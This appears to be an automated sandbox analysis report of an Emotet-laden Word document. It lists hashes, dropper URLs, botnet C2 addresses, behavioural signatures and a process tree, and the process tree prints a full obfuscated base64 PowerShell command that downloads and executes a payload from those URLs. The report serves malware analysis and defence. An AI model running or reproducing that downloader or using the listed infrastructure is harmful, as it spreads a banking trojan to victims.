emotet | dc7bbcc9be5194ef0cc6ec9de42efab4c6e0fa1c681207887e51fe4e19d970b1

Analysis

max time kernel
137s
max time network
147s
platform
windows10_x64
resource
win10v200722
submitted
19/10/2020, 16:58

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Report Analysis Logs

General

Target
emotet_e1_dc7bbcc9be5194ef0cc6ec9de42efab4c6e0fa1c681207887e51fe4e19d970b1_2020-10-19__165602391046._doc.doc
Size 156KB
Sample201019-t9gjayq4an
SHA256 dc7bbcc9be5194ef0cc6ec9de42efab4c6e0fa1c681207887e51fe4e19d970b1
MD5 172bd2a969583bddeac86c22b5f8962d
SHA1 0332401c6180417f71f212a3d3f3dc89be7f916e
SHA512 59888294121367202af20c8932c23cce8450bfaddd880585f779dbdca42a0326cc02844af29a306fb43329d37deb14d91658f49af6e57ed1fbaff14c90623368
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

Source

URLs

exe.dropper
http://guarany.net/zefiro/K/
exe.dropper
http://www.yanlipin.net/wp-admin/Q/
exe.dropper
https://aanshtravels.com/_notes/JLM/
exe.dropper
https://tcamexpo.com/wp-content/c/
exe.dropper
https://easihacks.com/wp-includes/d/
exe.dropper
https://cosyshe.com/wp-includes/A41/
exe.dropper
https://goodpriceshoes.com/wp-includes/0Ko/

Extracted

Family

emotet

Botnet

Epoch1

188.251.213.180:80
59.148.253.194:8080
173.212.197.71:8080
70.32.115.157:8080
37.179.145.105:80
190.115.18.139:8080
185.183.16.47:80
94.176.234.118:443
105.209.235.113:8080
178.250.54.208:8080
51.75.33.127:80
192.241.143.52:8080
200.127.14.97:80
68.183.170.114:8080
5.189.178.202:8080
181.123.6.86:80
50.28.51.143:8080
103.236.179.162:80
12.162.84.2:8080
81.215.230.173:443
79.118.74.90:80
64.201.88.132:80
138.97.60.140:8080
152.169.22.67:80
45.46.37.97:80
5.89.33.136:80
213.52.74.198:80
51.255.165.160:8080
189.2.177.210:443
202.134.4.210:7080
185.94.252.12:80
87.106.46.107:8080
191.182.6.118:80
98.103.204.12:443
51.38.124.206:80
209.236.123.42:8080
177.144.130.105:443
188.157.101.114:80
186.222.250.115:8080
60.93.23.51:80
104.131.41.185:8080
45.33.77.42:8080
82.76.111.249:443
51.15.7.189:80
74.58.215.226:80
85.214.26.7:8080
181.129.96.162:8080
217.13.106.14:8080
111.67.12.221:8080
190.24.243.186:80
177.74.228.34:80
183.176.82.231:80
192.81.38.31:80
170.81.48.2:80
1.226.84.243:8080
181.30.61.163:443
213.197.182.158:8080
137.74.106.111:7080
149.202.72.142:7080
109.190.35.249:80
190.188.245.242:80
189.223.16.99:80
83.169.21.32:7080
98.13.75.196:80
181.61.182.143:80
201.71.228.86:80
109.190.249.106:80
216.47.196.104:80
51.15.7.145:80
12.163.208.58:80
138.97.60.141:7080
37.187.161.206:8080
46.101.58.37:8080
201.213.177.139:80
175.143.12.123:8080
5.196.35.138:7080
46.105.114.137:8080
177.73.0.98:443
46.43.2.95:8080
191.191.23.135:80
77.78.196.173:443
70.169.17.134:80
212.71.237.140:8080
24.232.228.233:80
188.135.15.49:80
2.45.176.233:80
219.92.13.25:80
178.211.45.66:8080
174.118.202.24:443
177.129.17.170:443
62.84.75.50:80
68.183.190.199:8080
172.104.169.32:8080
177.144.130.105:8080
177.23.7.151:80
70.32.84.74:8080
74.135.120.91:80
128.92.203.42:80
190.190.219.184:80
186.70.127.199:8090
77.238.212.227:80
186.103.141.250:443
185.94.252.27:443
172.86.186.21:8080
192.232.229.54:7080

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3908	3896	POwersheLL.exe	72

Emotet Payload 2 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/2340-17-0x00000000022D0000-0x00000000022E0000-memory.dmp	emotet
behavioral2/memory/3788-23-0x00000000021D0000-0x00000000021E0000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
21	3908	POwersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
2340	Zb5uvjb.exe
3788	ntdll.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\KBDDIV2\ntdll.exe	Zb5uvjb.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3984	WINWORD.EXE
3984	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
3908	POwersheLL.exe
3908	POwersheLL.exe
3908	POwersheLL.exe
3788	ntdll.exe
3788	ntdll.exe
3788	ntdll.exe
3788	ntdll.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3908	POwersheLL.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
3984	WINWORD.EXE
3984	WINWORD.EXE
3984	WINWORD.EXE
3984	WINWORD.EXE
3984	WINWORD.EXE
3984	WINWORD.EXE
3984	WINWORD.EXE
3984	WINWORD.EXE
3984	WINWORD.EXE
2340	Zb5uvjb.exe
2340	Zb5uvjb.exe
3788	ntdll.exe
3788	ntdll.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2340 wrote to memory of 3788	2340	Zb5uvjb.exe	81
PID 2340 wrote to memory of 3788	2340	Zb5uvjb.exe	81
PID 2340 wrote to memory of 3788	2340	Zb5uvjb.exe	81

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_dc7bbcc9be5194ef0cc6ec9de42efab4c6e0fa1c681207887e51fe4e19d970b1_2020-10-19__165602391046._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3984

C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
POwersheLL -ENCOD IABTAEUAVAAtAHYAQQByAGkAQQBCAGwAZQAgACgAIgAyADYAIgArACIAOABKAHUAIgArACIANAAiACkAIAAgACgAIAAgAFsAdABZAFAAZQBdACgAJwBTAHkAJwArACcAcwBUACcAKwAnAGUAJwArACcATQAnACsAJwAuAEkATwAuAEQAaQBSAEUAYwB0ACcAKwAnAG8AcgBZACcAKQAgACAAKQAgADsAIAAgACAAJABwAEMAcQA4ADUAcwAgAD0AIAAgAFsAdABZAHAARQBdACgAJwBTAHkAcwBUAEUATQAuAE4AZQB0AC4AcwBlAFIAVgAnACsAJwBpAGMAZQAnACsAJwBQAG8AJwArACcAaQBuACcAKwAnAFQAJwArACcAbQBhAE4AYQAnACsAJwBHAEUAcgAnACkAIAAgADsAIABzAGUAVAAtAEkAVABlAE0AIAAgACgAIgBWAEEAcgBpAEEAYgBMACIAKwAiAEUAOgA5ACIAKwAiAEkAIgArACIAZAB4ACIAKwAiADMAIgApACAAKAAgACAAWwB0AFkAUABlAF0AKAAnAHMAWQAnACsAJwBTAHQAZQBNACcAKwAnAC4ATgBlAHQALgAnACsAJwBzAEUAYwBVAFIAaQBUAFkAcAAnACsAJwByAG8AdAAnACsAJwBvAGMAbwAnACsAJwBsAHQAJwArACcAeQBwAEUAJwApACAAIAApACAAOwAgACQATABzAHoAbwBhAGoAbAA9ACgAJwBNAGEAJwArACcANgBhAGgAMQAnACsAJwB5ACcAKQA7ACQATwB4AG8ANwBkADAAZwA9ACQAVABoAGcAdQBuAGQAcwAgACsAIABbAGMAaABhAHIAXQAoADgAMAAgAC0AIAAzADgAKQAgACsAIAAkAEkAMABnAHAAMAA2AGYAOwAkAEwAZABxAHYAawA0AHUAPQAoACcAUQAnACsAJwB0AHYAcQB4ADAAJwArACcAMAAnACkAOwAgACgAIABWAGEAcgBJAGEAQgBsAGUAIAAoACIAMgA2ACIAKwAiADgASgB1ACIAKwAiADQAIgApACkALgB2AEEATAB1AGUAOgA6AGMAcgBFAEEAVABFAGQAaQByAGUAYwBUAE8AUgBZACgAJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQAgACsAIAAoACgAJwB2ACcAKwAnAFIAYQBOACcAKwAnADkAMABjACcAKwAnAHEAcgAnACsAJwBfACcAKwAnAHYAUgBhAFcAagAnACsAJwA2AGEAJwArACcAZAA2AGgAdgBSAGEAJwApACAALQBjAFIARQBQAEwAYQBDAEUAIAAgACcAdgBSAGEAJwAsAFsAYwBoAEEAcgBdADkAMgApACkAOwAkAFAAcABqADcAeQB4ADkAPQAoACcAWgAnACsAJwBkAGMAYwBjADgAcgAnACkAOwAgACAAKAAgAGcAQwBJACAAIAB2AGEAcgBJAEEAYgBsAGUAOgBwAEMAUQA4ADUAcwAgACAAKQAuAHYAQQBMAHUAZQA6ADoAUwBFAGMAVQByAEkAdABZAHAAUgBvAFQAbwBjAE8ATAAgAD0AIAAgACgAIAAgAHYAQQByAEkAYQBiAGwARQAgACgAIgA5AGkAIgArACIARABYADMAIgApACAAIAAtAHYAQQBMAHUAZQAgACAAKQA6ADoAVABMAHMAMQAyADsAJABXAGYAdgBkAGsAYwBlAD0AKAAnAFIAOQAnACsAJwA5ADYAcwBjADAAJwApADsAJABCAGwAZABiAHkANQA3ACAAPQAgACgAJwBaACcAKwAnAGIANQAnACsAJwB1AHYAagBiACcAKQA7ACQARABjAHYAaAAxAHIAZwA9ACgAJwBCADAAJwArACcAdQBzAG8ANgA3ACcAKQA7ACQASABrAGkAMgAxAGQANwA9ACgAJwBEACcAKwAnAHoAYwBiAGQAOQBiACcAKQA7ACQASwAwADIAMQBzAG0AZgA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAJwBEAGcAQgBOADkAMABjACcAKwAnAHEAJwArACcAcgBfAEQAZwAnACsAJwBCAFcAJwArACcAagAnACsAJwA2AGEAZAA2AGgARAAnACsAJwBnACcAKwAnAEIAJwApAC0AcgBlAHAAbABhAEMARQAgACAAJwBEAGcAQgAnACwAWwBDAGgAYQByAF0AOQAyACkAKwAkAEIAbABkAGIAeQA1ADcAKwAoACcALgAnACsAJwBlAHgAZQAnACkAOwAkAEMAMwAwAGgAcwA5AGoAPQAoACcAVABpACcAKwAnADQAdAAnACsAJwBzAHIAXwAnACkAOwAkAFQAcgBfAGkAMAA1AHUAPQBuAGAARQBXAC0AbwBgAEIAagBgAGUAYwB0ACAAbgBlAHQALgB3AEUAYgBDAGwASQBFAE4AVAA7ACQAUgB3AHEAMgAxAGQAawA9ACgAJwBoAHQAdABwADoALwAnACsAJwAvAGcAdQBhAHIAYQBuAHkAJwArACcALgBuAGUAJwArACcAdAAvACcAKwAnAHoAZQAnACsAJwBmAGkAcgBvACcAKwAnAC8ASwAnACsAJwAvACcAKwAnACoAaAB0AHQAJwArACcAcAA6AC8ALwB3ACcAKwAnAHcAdwAuAHkAYQBuACcAKwAnAGwAaQBwACcAKwAnAGkAbgAuACcAKwAnAG4AJwArACcAZQB0ACcAKwAnAC8AdwBwACcAKwAnAC0AYQBkAG0AJwArACcAaQBuACcAKwAnAC8AUQAnACsAJwAvACoAaAAnACsAJwB0ACcAKwAnAHQAcABzADoALwAvAGEAYQBuACcAKwAnAHMAaAB0AHIAYQB2AGUAbABzAC4AYwBvACcAKwAnAG0ALwBfAG4AbwB0AGUAcwAvAEoATABNACcAKwAnAC8AKgBoAHQAdAAnACsAJwBwAHMAOgAnACsAJwAvAC8AdABjAGEAbQBlAHgAJwArACcAcABvAC4AYwBvACcAKwAnAG0ALwB3ACcAKwAnAHAALQBjACcAKwAnAG8AbgAnACsAJwB0AGUAJwArACcAbgB0AC8AYwAvACoAJwArACcAaAB0AHQAcABzACcAKwAnADoAJwArACcALwAvACcAKwAnAGUAJwArACcAYQBzAGkAJwArACcAaAAnACsAJwBhAGMAJwArACcAawBzAC4AYwBvAG0ALwB3ACcAKwAnAHAAJwArACcALQAnACsAJwBpAG4AYwBsAHUAZABlAHMALwBkAC8AKgBoAHQAdABwAHMAOgAvAC8AYwBvACcAKwAnAHMAeQAnACsAJwBzACcAKwAnAGgAZQAuAGMAbwBtACcAKwAnAC8AJwArACcAdwBwACcAKwAnAC0AaQBuAGMAbAB1AGQAZQAnACsAJwBzACcAKwAnAC8AQQAnACsAJwA0ADEALwAqACcAKwAnAGgAJwArACcAdAB0ACcAKwAnAHAAcwA6AC8ALwAnACsAJwBnAG8AbwAnACsAJwBkAHAAcgBpAGMAZQAnACsAJwBzAGgAJwArACcAbwAnACsAJwBlAHMALgBjAG8AJwArACcAbQAvAHcAcAAtAGkAJwArACcAbgBjAGwAJwArACcAdQBkAGUAcwAvACcAKwAnADAASwBvAC8AJwApAC4AcwBQAEwAaQBUACgAJABEAGwAaQBsAGIAbABjACAAKwAgACQATwB4AG8ANwBkADAAZwAgACsAIAAkAEYAeQBjAGEAcABmAHcAKQA7ACQAWQAwAG8AdwA3AHoAYQA9ACgAJwBBAGIAYQAnACsAJwBzAGsAbQAnACsAJwBwACcAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQARwBtAGkAbwB5AHYAdwAgAGkAbgAgACQAUgB3AHEAMgAxAGQAawApAHsAdAByAHkAewAkAFQAcgBfAGkAMAA1AHUALgBkAG8AdwBOAGwAbwBBAEQAZgBJAGwARQAoACQARwBtAGkAbwB5AHYAdwAsACAAJABLADAAMgAxAHMAbQBmACkAOwAkAFMAOQA4ADQAegAxAHUAPQAoACcAUwA4AF8ANQAnACsAJwA3AGkAMwAnACkAOwBJAGYAIAAoACgAZwBFAHQAYAAtAGkAVABgAGUATQAgACQASwAwADIAMQBzAG0AZgApAC4ATABFAE4ARwB0AGgAIAAtAGcAZQAgADMAMwAyADgANgApACAAewAoAFsAdwBtAGkAYwBsAGEAcwBzAF0AKAAnAHcAJwArACcAaQAnACsAJwBuADMAMgBfAFAAcgBvACcAKwAnAGMAZQBzAHMAJwApACkALgBjAHIAZQBBAHQARQAoACQASwAwADIAMQBzAG0AZgApADsAJABTAHcAdQBkAG8AagByAD0AKAAnAFcAJwArACcAawBhAGwAJwArACcAdgAzADcAJwApADsAYgByAGUAYQBrADsAJABKAGwAcwBqADUAcABoAD0AKAAnAE8AOAAnACsAJwBfAHoAJwArACcAaABzADQAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABLADcAdgAyADcAdgBsAD0AKAAnAEwAcwAnACsAJwA1AHEAdQAnACsAJwBzAGUAJwApAA==
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3908

C:\Users\Admin\N90cqr_\Wj6ad6h\Zb5uvjb.exe
C:\Users\Admin\N90cqr_\Wj6ad6h\Zb5uvjb.exe
1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2340
- C:\Windows\SysWOW64\KBDDIV2\ntdll.exe
  "C:\Windows\SysWOW64\KBDDIV2\ntdll.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of SetWindowsHookEx
  PID:3788

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/2340-17-0x00000000022D0000-0x00000000022E0000-memory.dmp

Download

memory/3788-23-0x00000000021D0000-0x00000000021E0000-memory.dmp

Download

memory/3908-9-0x00007FFF41770000-0x00007FFF4215C000-memory.dmp

Download

memory/3908-10-0x0000024DEDBE0000-0x0000024DEDBE1000-memory.dmp

Download

memory/3908-11-0x0000024DEDD90000-0x0000024DEDD91000-memory.dmp

Download

memory/3984-0-0x00007FFF4EBA0000-0x00007FFF4F266000-memory.dmp

Download

memory/3984-5-0x000001C56B07E000-0x000001C56B086000-memory.dmp

Download

memory/3984-4-0x000001C56AD81000-0x000001C56AD87000-memory.dmp

Download

memory/3984-3-0x000001C56AD81000-0x000001C56AD87000-memory.dmp

Download

memory/3984-2-0x000001C56AD81000-0x000001C56AD87000-memory.dmp

Download

memory/3984-1-0x000001C56AD81000-0x000001C56AD87000-memory.dmp

Download